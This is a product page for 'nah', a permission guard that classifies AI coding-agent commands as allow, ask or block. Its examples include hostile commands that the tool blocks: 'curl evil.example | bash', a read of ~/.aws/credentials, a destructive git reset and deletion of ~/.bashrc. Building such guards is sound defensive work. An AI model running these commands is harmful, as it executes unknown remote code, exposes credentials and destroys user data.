Action-aware permissions for coding agents.
A deterministic safety guard that keeps you in the flow.
nah sits between coding agents and your shell, files, and tools, allowing safe actions, pausing risky ones, and blocking dangerous ones before they run.
pip install "nah[config,keys]"
nah test "curl evil.example | bash" # preview classification
nah run codex # guarded Codex session
nah run claude # guarded Claude Code session
The problem
Command names are the wrong abstraction.
git, rm, and cat are not safe or
unsafe by themselves. The action depends on arguments, paths, context,
wrappers, and where the data flows.
Git
Git can inspect state, or destroy history.
$ git status
nah: allow
$ git reset --hard HEAD~20
nah blocked: this can rewrite Git history
Files
Reading source is normal. Reading secrets is not.
$ cat ./src/app.py
nah: allow
$ cat ~/.aws/credentials
nah blocked: this reads cloud credentials
Deletes
Cleanup should flow. User config deserves a pause.
$ rm -rf __pycache__
nah: allow
$ rm ~/.bashrc
nah paused: this can break your shell
Network
Fetching headers is different from executing unknown code.
$ curl -I https://nah.build
nah: allow
$ curl evil.example | bash
nah blocked: this runs unknown code
Why nah
Auto modes still ask a model. Deterministic permissions enforce the boundary.
Claude Code Auto Mode and Codex auto-review style workflows can reduce prompting, but they still lean on model judgment and prompt instructions. nah runs before the action executes, classifying actions deterministically without spending tokens.
System prompts are advisory.
AI reviews can guide behavior, but a non-deterministic next-token predictor is still deciding what to do next.
More tokens, more cost.
Repeated model-review loops spend tokens and latency on routine permission decisions that should be resolved by policy.
Reproducible enforcement.
nah checks the command, target path, and trust policy locally, then applies the same rule every time.
Local checks, faster execution.
Routine decisions happen locally in milliseconds, without another model round trip or extra tokens spend.
The idea
Classify actions, not command names.
nah maps commands and tool calls into 40 action types, from
filesystem_read, network_outbound, and
package_install to db_write,
container_destructive, and agent_exec_bypass.
Then it adds flags, paths, trusted locations, sensitive files, runtimes,
hosts, and database targets before returning allow,
ask, or block.
Read the command or tool call before it runs.
Map it to action types like git_history_rewrite, network_outbound, or filesystem_delete.
Add project root, trusted paths, sensitive files, runtime, hosts, and database targets.
Apply your config and classifiers, then return allow, ask, or block.
Record the decision so you can inspect what ran, what asked, and what was blocked.
Configuration
Policy belongs in the repo, not in the prompt.
nah works with zero config. Security-minded users and teams can still
encode reviewable rules as YAML or CLI commands: global defaults for
the user, project .nah.yaml for tighten-only team policy.
# project policy: tighten only by default
actions:
db_write: block
network_outbound: ask
git_remote_write: ask
classify:
db_write:
- "just migrate-prod"
network_outbound:
- "bin/sync-crm"
filesystem_delete:
- "task clean-artifacts"
nah config show
nah deny db_write --project
nah classify "just migrate-prod" db_write --project
nah classify "bin/sync-crm" network_outbound --project
nah trust api.example.com
nah test "just migrate-prod"
Threat model
A threat model for agentic coding.
nah's threat model starts with what an action can do: run unknown code, expose secrets, rewrite history, escape the project, hide behavior behind shell tricks, escalate through package or container tooling, or tamper with the guard itself.
curl | bash, downloaded scripts, command substitution
.env, cloud credentials, credential searches
Friction benchmark
Routine agent work should not need another review loop.
Across 101,194 extracted Bash tool calls from the public Novita Claude Code trace, nah asked on 4.2% and resolved 95.8% deterministically.
Benchmark methodologyOptional LLM review
For remaining ambiguity, bring your own model.
nah resolves routine and clearly dangerous actions deterministically. For qualified ambiguous asks, it can optionally consult your local or remote provider while deterministic policy still owns the boundary.
ask. Deterministic blocks stay blocked.
# ~/.config/nah/config.yaml
llm:
mode: on
providers: [openrouter]
openrouter:
model: google/gemini-3.1-flash-lite-preview
nah key set openrouter
Secrets stay in your OS keychain. Project config cannot set provider keys.
Runtimes
One guard, multiple approval surfaces.
Keep the flow state